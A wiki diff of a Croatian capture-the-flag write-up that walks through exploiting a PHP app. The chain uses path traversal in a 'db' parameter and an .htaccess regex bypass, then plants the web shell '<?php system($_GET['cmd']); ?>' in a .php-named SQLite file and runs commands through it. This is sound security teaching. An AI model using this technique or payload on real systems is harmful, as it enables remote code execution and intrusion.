User Tools

Site Tools


baze_i_datoteke

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
baze_i_datoteke [2025/04/27 16:54] – ppalebaze_i_datoteke [2025/12/01 11:40] (current) – external edit 127.0.0.1
Line 38: Line 38:
 Kako bi se provjerila ova funkcionalnost može se uploadati slika i dohvatiti njen link korištenjem razvojnih alata internetskog preglednika (F12), ili opcijom kao što je prikazano na slici 5. (desni klik) Kako bi se provjerila ova funkcionalnost može se uploadati slika i dohvatiti njen link korištenjem razvojnih alata internetskog preglednika (F12), ili opcijom kao što je prikazano na slici 5. (desni klik)
  
-{{bazeidatoteke:slika5.png}}+{{  bazeidatoteke:slika5.png  }}
  
 Adresa slike bi trebala izgledati otprilike ovako: Adresa slike bi trebala izgledati otprilike ovako:
Line 46: Line 46:
 </code> </code>
  
-Što odgovara prethodno spomenutom formatu+Što odgovara prethodno spomenutom formatu:
  
 <code> <code>
Line 53: Line 53:
  
 Sada nakon inicijalne analize koda i vidljivih funkcionalnosti u sučelju, potrebno je napraviti detaljniju analizu koda. Sada nakon inicijalne analize koda i vidljivih funkcionalnosti u sučelju, potrebno je napraviti detaljniju analizu koda.
-Nakon analize svih datoteka, može se primijetiti da potencijalno ranjiv kod se nalazi u fileu database.php (slika 6.).+Nakon analize svih datoteka, može se primijetiti da se potencijalno ranjiv kod nalazi u datoteci "database.php" (slika 6.).
  
  
-{{bazeidatoteke:slika6.png}}+{{  bazeidatoteke:slika6.png  }}
  
 Dio koda ispod komentara Dio koda ispod komentara
Line 66: Line 66:
 Pošto nema ograničenja na naziv datoteke, ne samo da se datoteka može definirati s proizvoljnom ekstenzijom, nego se može mijenjati i path datoteke gdje će biti stvorena, korištenjem slasheva. (npr. ../../../baza…) Pošto nema ograničenja na naziv datoteke, ne samo da se datoteka može definirati s proizvoljnom ekstenzijom, nego se može mijenjati i path datoteke gdje će biti stvorena, korištenjem slasheva. (npr. ../../../baza…)
  
-Sad bi sljedeći logičan korak bio pokušati stvoriti datoteke na različitim putanjama i pokušati dohvatiti te stvorene datoteke, no to neće raditi. Analizom Dockerfilea mogu se pronaći razlozi zašto ovaj postupak ne bi radio.+Sad bi napadačev logični korak bio pokušati stvoriti datoteke na različitim putanjama i pokušati dohvatiti te stvorene datoteke, no to neće uspjeti. Analizom Dockerfilea mogu se pronaći razlozi zašto ovaj postupak ne bi radio.
  
-{{bazeidatoteke:slika7.png}}+{{  bazeidatoteke:slika7.png  }}
  
-Root projekta se nalazi u „/var/www/html“ i samo datoteke iz tog direktorija mogu biti dohvaćene sa servera putem interneta, predviđenim načinom korištenja. Čak i da je taj uvjet zadovoljen, može se primijetiti da korisnik www-data, pod kojim se izvršava server, nema write dopuštenje nad /var/www/html, pa ne bi ni mogao stvoriti ikakvu datoteku na proizvoljnoj putanji. Može se vidjeti da korisnik www-data ima write dozvolu samo nad /var/www/html/uploads lokacijom, koja se izvana mapira na samo /uploads putanju.+Root direktorij projekta se nalazi u „/var/www/html“ i samo datoteke iz i ispod tog direktorija mogu biti dohvaćene sa servera putem interneta, predviđenim načinom korištenja. Čak i da je taj uvjet zadovoljen, može se primijetiti da korisnik www-data, s čijim identitetom kojim se izvodi serverski program, nema dopuštenje pisanja (engl. Write) nad /var/www/html direktorijem, pa ne bi ni mogao stvoriti ikakvu datoteku na proizvoljnoj putanji. Može se vidjeti da korisnik www-data ima write dozvolu samo nad /var/www/html/uploads lokacijom, koja se izvana mapira na samo /uploads putanju.
  
-Uzevši ova ograničenja u obzir sljedeći logičan korak bi bio pokušati stvoriti datoteke na putanji /uploads/.. , ali niti ovo neće raditi. U Dockerfileu linija 11 naznačuje ovo drugo ograničenje. Da bi se njega shvatilo, treba pogledati .htaccess, slika 8.+Uzevši ova ograničenja u obzir, sljedeći logičan korak napadača bi bio pokušati stvoriti datoteke na putanji /uploads/.. , ali ni to neće uspjeti. U Dockerfileu linija 11 naznačuje još jedno ograničenje. Da bi se njega shvatilo, treba pogledati .htaccess, slika 8.
  
-{{bazeidatoteke:slika8.png}}+{{  bazeidatoteke:slika8.png  }}
  
-U ove tri linije koda je napisano da pri dohvaćanju svih datoteka koje završavaju s ekstenzijom .php i nalaze se u direktoriju /uploads/, se neće poslati nazad, nego će biti zabranjene. Regularni izraz (regex) koji specificira format i lokaciju zabranjenih datoteka, se ne primjenjuje ako je između direktorija „uploads“ i ekstenzije datoteke .php znak „/“. Ovo znači da pravilo neće vrijediti za datoteke koje se nalaze u nekim poddirektorijima direktorija „uploads“, gdje je unutar putanje više od jednog znaka „/“, nego će te datoteke moći biti uspješno dohvaćene. +U ove tri linije koda je napisano da pokušaj dohvaćanja svih datoteka koje završavaju ekstenzijom ".php" i nalaze se u direktoriju /uploads/, njihov sadržaj neće biti poslan, nego će pristup njima biti zabranjen. NO, treba uočiti da, regularni izraz (regex) koji specificira format i lokaciju zabranjenih datoteka, se ne primjenjuje ako je između direktorija „uploads“ i ekstenzije datoteke ".php" znak „/“. Ovo znači da pravilo neće vrijediti za datoteke koje se nalaze u nekim poddirektorijima direktorija „uploads“, gdje je unutar putanje više od jednog znaka „/“, nego će te datoteke moći biti uspješno dohvaćene. 
    
-Ovo znači da će na primjer datoteka+Ovo znači da će na primjer pristup datoteci
 ‚‚ ‚‚
 /uploads/baza.php /uploads/baza.php
 ‚‚ ‚‚
-Biti označena ovim pravilom kao zabranjena, dok bi datoteka+ovim pravilom biti zabranjen, dok bi datoteci
 ‚‚ ‚‚
 /uploads/user1/baza.php /uploads/user1/baza.php
 ‚‚ ‚‚
-Bila dozvoljena, pravilo se ne bi primjenjivalo na nju.+bio dozvoljen, tj. pravilo se ne bi primjenjivalo na nju.
  
  
-Uzevši i ovo ograničenje u obzir, ideja može biti stvoriti datoteku u nekom poddirektoriju direktorija „/uploads/“, ali ovdje se javlja problem da ako direktorij u kojemu se datoteka želi postaviti ne postoji već, on neće biti automatski napravljen, nego će biti bačena greška i datoteka neće biti zapisana.+Uzevši i ovo ograničenje u obzir, sljedeća ideja može biti stvoriti datoteku u nekom poddirektoriju direktorija „/uploads/“, ali ovdje se javlja problem da ako direktorij u kojemu se datoteka želi postaviti već ne postoji, on neće biti automatski napravljen, nego će korisniku (napadaču) biti javljena pogreška i datoteka neće biti zapisana.
  
-Način kako bi se zapisala baza podataka s proizvoljnim imenom na lokaciju u sustavu u kojoj nije originalno predviđena, je da se zapiše u neki već postojeći poddirektorij putanje „/var/www/html/uploads“.+Način kako bi se zapisala baza podataka s proizvoljnim imenom na lokaciju u sustavu u kojoj nije izvorno predviđena, je da se zapiše u neki već postojeći poddirektorij putanje „/var/www/html/uploads“.
  
-Srećom, jedna takva putanja je već poznata od ranije, to je putanja u kojoj se uploada postavljena profilna slika, koja je u formatu:+Srećom za napadača, jedna takva putanja je već poznata od ranije. To je putanja u kojoj se uploada postavljena profilna slika, koja je u formatu:
 <code> <code>
 /uploads/<sha 256 username hash>/profile.png /uploads/<sha 256 username hash>/profile.png
Line 99: Line 99:
 Ova putanja zadovoljava sva prethodno navedena ograničenja. Ova putanja zadovoljava sva prethodno navedena ograničenja.
  
-Znači datoteka bi se mogla uspješno zapisati na putanju, s koje bi se mogla i dohvatiti:+Znači da bi se datoteka mogla uspješno zapisati na tu putanju, i s nje bi se mogla i dohvatiti:
 <code> <code>
 /uploads/<sha 256 username hash>/baza.php /uploads/<sha 256 username hash>/baza.php
 </code> </code>
-Pošto je poznato da ova putanja postoji, jer je u njoj profile.png slika pohranjena.+jer je poznato da ova putanja postoji, jer je u njoj pohranjena slika "profile.png".
  
-Sada je poznata tehnika kako stvoriti datoteku s proizvoljnim imenom i ekstenzijom, npr .php, unutar putanje na serveru s koje se datoteka može vidjeti i „dohvatiti“. Preostalo je pitanje kako iskoristiti tu datoteku da bi se nešto postiglo. +Sada je poznata tehnika kako stvoriti datoteku s proizvoljnim imenom i ekstenzijom, npr ".php", unutar putanje na serveru s koje se datoteka može vidjeti i dohvatiti. Preostalo je pitanje kako iskoristiti tu datoteku da bi se nešto postiglo. 
-Ako je ekstenzija datoteke „.php“, PHP kod unutar datoteke će biti procesuiran i obrađen pri postupku „dohvaćanja“ zatražene datoteke prije slanja odgovora na zahtjev. Znači da ako se stvori datoteka s „.php“ ekstenzijom i PHP kodom u sebi, koja može biti „dohvaćena“, pri postupku dohvaćanja prije nego što je vraćena, PHP kod će biti izvršen i rezultati izvršavanja će biti zapisani u datoteci.+Ako je ekstenzija datoteke „.php“, PHP kod unutar datoteke će biti obrađen i izveden pri postupku dohvaćanja zatražene datoteke prije slanja odgovora na zahtjev. Znači da, ako se stvori datoteka s „.php“ ekstenzijom i PHP kodom u sebi, koja može biti dohvaćena, pri postupku dohvaćanja prije nego što je vraćena, PHP kod će biti izvršen i rezultati izvršavanja će biti zapisani u datoteci.
  
 Ostalo je još samo pitanje kako zapisati PHP kod unutar SQLite datoteke s proizvoljnim imenom, na takav način da se PHP kod uspješno izvrši pri dohvaćanju. Unutar baze podataka s proizvoljnim imenom nad kojim imamo kontrolu se zapisuje korisničko ime i password stvorenog korisnika. Ovaj kod se može vidjeti unutar datoteke register.php (slika 9.) Ostalo je još samo pitanje kako zapisati PHP kod unutar SQLite datoteke s proizvoljnim imenom, na takav način da se PHP kod uspješno izvrši pri dohvaćanju. Unutar baze podataka s proizvoljnim imenom nad kojim imamo kontrolu se zapisuje korisničko ime i password stvorenog korisnika. Ovaj kod se može vidjeti unutar datoteke register.php (slika 9.)
  
-{{bazeidatoteke:slika9.png}}+{{  bazeidatoteke:slika9.png  }}
  
 Na username nema ograničenja osim da mora biti duže od 10 znakova i taj username će biti zapisan unutar baze podataka nad čijim imenom i lokacijom imamo kontrolu. (slika 9., slika 10. označeno crveno) Na username nema ograničenja osim da mora biti duže od 10 znakova i taj username će biti zapisan unutar baze podataka nad čijim imenom i lokacijom imamo kontrolu. (slika 9., slika 10. označeno crveno)
Line 116: Line 116:
  
  
-{{bazeidatoteke:slika10.png}}+{{  bazeidatoteke:slika10.png  }}
  
-Ovo znači da se može stvoriti baza podataka s „.php“ ekstenzijom i s PHP kodom unutar podataka, koji bi bio u plaintext formatu, pošto je username korisnika. Pri dohvaćanju ove baze podataka, što je također moguće odgovarajućim pozicioniranjem baze, PHP kod će se izvršavati, a mi ćemo moći definirati PHP kod koji će se izvršiti. Najjednostavniji kod koji se ovdje može postaviti je +Ovo znači da se može stvoriti baza podataka s „.php“ ekstenzijom i s PHP kodom unutar podataka, koji bi bio u plaintext formatu, pošto se username korisnika zapisuje u plaintextu. Pri dohvaćanju ove baze podataka, što je također moguće odgovarajućim pozicioniranjem baze, PHP kod će se izvršavati, a mi ćemo moći definirati PHP kod koji će se izvršiti. Najjednostavniji kod koji se ovdje može postaviti je: 
 ‚‚ ‚‚
 <?php system($_GET['cmd']); ?> <?php system($_GET['cmd']); ?>
Line 129: Line 129:
 ./uploads/<sha 256 hash usernamea prvog korisnika>/shell.php ./uploads/<sha 256 hash usernamea prvog korisnika>/shell.php
 ‚‚ ‚‚
-A korisničko ime koje bi se unijelo pri registraciji bi bilo+A korisničko ime koje bi se unijelo pri registraciji bi bilo:
 ‚‚ ‚‚
 <?php system($_GET['cmd']); ?> <?php system($_GET['cmd']); ?>
 ‚‚ ‚‚
  
-Nakon ove prijave, PHP shell bi se mogao koristiti na prethodno definiranoj putanji, a s „cmd“ GET parametrom se mogu definirati shell naredbe. Npr pokretanje „ls“ naredbe.+Nakon ove prijave, PHP shell bi se mogao koristiti na prethodno definiranoj putanji, a s „cmd“ GET parametrom se mogu definirati shell naredbe. Npr. pokretanje naredbe „ls“.
 ‚‚ ‚‚
 ./uploads/<sha 256 hash usernamea prvog korisnika>/shell.php?cmd=ls ./uploads/<sha 256 hash usernamea prvog korisnika>/shell.php?cmd=ls
Line 140: Line 140:
  
  
-Preporučen alat za ostvarivanje ovog postupka je burpsuite. Nakon što je prvi korisnik normalno stvoren i zabilježena je putanja njegove profilne slike kako bi se koristila u daljnjem postupku, može se upaliti burpsuite proxy preko kojega će se urediti zahtjev za registraciju. +Preporučen alat za ostvarivanje ovog postupka je burpsuite. Nakon što je prvi korisnik normalno stvoren i zabilježena je putanja njegove profilne slike kako bi se koristila u daljnjem postupku, može se pokrenuti burpsuite proxy preko kojega će se urediti zahtjev za registraciju. 
-Nakon unosa PHP koda u polje korisničkog imena na registraciji i nevažnog passworda, kao što je prikazano na slici 11.+Nakon unosa PHP koda u polje korisničkog imena na registraciji i proizvoljnog/nevažnog passworda, kao što je prikazano na slici 11.
  
-{{bazeidatoteke:slika11.png}}+{{  bazeidatoteke:slika11.png  }}
  
-Zahtjev se šalje pritiskom na gumb register, dok je istovremeno burp proxy upaljen, kako bi POST request presreo i uredio tako da mu se doda odgovarajući parametar „db“ kao što je prikazano na slici 12.+Zahtjev se šalje pritiskom na gumb "Register", dok je istovremeno burp proxy upaljen, kako bi on presreto POST request i preuredio ga tako da mu se doda odgovarajući parametar „db“ kao što je prikazano na slici 12.
  
-{{bazeidatoteke:slika12.png}}+{{  bazeidatoteke:slika12.png  }}
  
-Kada je db parametar odgovarajuće definiran kao što je prethodno opisano, zahtjev se može proslijediti. Ako je tehnika uspješno izvršena, trebao bi biti vraćen odgovor s porukom o uspješnoj registraciji kao što je prikazano na slici 13.+Kada je db parametar odgovarajuće definiran, na prethodno opisan način, zahtjev se može proslijediti. Ako je tehnika uspješno izvršena, trebao bi biti vraćen odgovor s porukom o uspješnoj registraciji kao što je prikazano na slici 13.
  
-{{bazeidatoteke:slika13.png}}+{{  bazeidatoteke:slika13.png  }}
  
-Nakon ovoga, web shellu se može jednostavno pristupiti korištenjem putanje koja je bile definirana u „db“ parametru POST requesta registracije.+Nakon ovoga, pristup web shellu je jednostavan, korištenjem putanje koja je bila definirana u „db“ parametru POST requesta registracije.
 U Dockerfileu se vidi lokacija flaga, tako da je za rješenje zadatka samo potrebno dohvatiti taj flag pristupom spomenutoj putanji s odgovarajućom shell naredbom zadanom u GET parametru: U Dockerfileu se vidi lokacija flaga, tako da je za rješenje zadatka samo potrebno dohvatiti taj flag pristupom spomenutoj putanji s odgovarajućom shell naredbom zadanom u GET parametru:
  
Line 171: Line 171:
  
  
-{{bazeidatoteke:slika14.png}}+{{  bazeidatoteke:slika14.png  }}
baze_i_datoteke.1745772849.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki